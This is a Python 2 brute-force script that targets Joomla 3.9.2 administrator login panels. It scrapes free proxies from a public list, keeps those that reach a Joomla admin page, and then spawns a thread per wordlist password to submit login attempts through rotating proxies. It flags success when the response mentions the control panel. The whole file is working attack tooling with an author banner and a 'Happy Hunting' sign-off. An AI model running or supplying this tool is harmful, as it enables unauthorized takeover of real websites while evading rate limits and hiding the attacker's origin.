JoomlaBruteforce-3.9.2.py

# Joomla Bruteforce
# Version: Joomla! 3.9.2
# Coyright : Deray
# Instagram: @reyy05_
# Fb: https://facebook.com/achmad.luthfi.hadi.3

import mechanize,threading,sys,time,random,requests,re,os

class main(threading.Thread):

    def __init__(self,url,usr,list,proxy):

        threading.Thread.__init__(self)

        self.url=url

        self.usr=usr

        self.list=list

        self.proxy=proxy

    def run(self):

        time.sleep(3)

        a=mechanize.Browser()

        a.set_handle_equiv(True)

        a.set_handle_redirect(True)

        a.set_handle_robots(False)

        a.set_handle_referer(True)

        a.set_proxies({"http":self.proxy,"https":self.proxy})

        a.open(self.url)

        a.select_form(nr=0)

        a.form["username"] = "{}".format(self.usr)

        a.form["passwd"] = "{}".format(self.list)

        a.submit()

        if "control panel" in a.response().read().lower():

            print("[!] Password Found! -> {}".format(self.list))

            sys.exit()

        else:

            print("[-] No: {}".format(self.list))

# Get Proxy

komar=[]

class pox(threading.Thread):

    def __init__(self,proxy):

        threading.Thread.__init__(self)

        self.prox=proxy

    def run(self):

        global komar

        try:

            if requests.get("https://dorayy.joomla.com/administrator/index.php",proxies={"http":self.prox,"https":self.prox},timeout=3).status_code !=200:

                pass

            else:

                komar.append(self.prox)

        except:

            pass

print "[+] Grabbing Proxy ..."

r=requests.get("http://www.httptunnel.ge/ProxyListForFree.aspx").text

pr=re.findall('target="_new">(.*?)<',r)

thread=[]

for x in pr:

    t=pox(x)

    thread.append(t)

for t in thread:

    t.start()

for t in thread:

    t.join()

kol=open("proxy.txt","w")

for x in komar:

    print "+++ Live: ",x

    kol.write(x+"\n")

kol.close()

raw_input("[+] Press Enter To Run ...")

os.system("clear")


# Happy Hunting ^^

class proxis():

    def __init__(self):

        self.p=""

        self.runs()

    def runs(self):

        thread=[]

        print """
      _  ___   ___  __  __ _        _      _____ ___   ____
     | |/ _ \ / _ \|  \/  | |      / \    |___ // _ \ |___ \
  _  | | | | | | | | |\/| | |     / _ \     |_ \ (_) |  __) |
 | |_| | |_| | |_| | |  | | |___ / ___ \   ___) \__, | / __/
  \___/ \___/ \___/|_|  |_|_____/_/   \_\ |____(_)/_(_)_____|
             [ Joomla Bruteforce Version 3.9.2 ]
                    [ Coded By Deray ]

         """

        url=raw_input("[+] Url Login Panel: ")

        usr=raw_input("[+] Username: ")

        lst=open(raw_input("[+] PassList: ")).read().splitlines()

        print "[STARTING BRUTEFORCE] List:",len(lst)

        print

        prx=open("proxy.txt").read().splitlines()

        for x in lst:

            tt=random.choice(prx)

            t=main(url,usr,x,tt)

            thread.append(t)

        for t in thread:

            t.start()

        for t in thread:

            t.join()

proxis()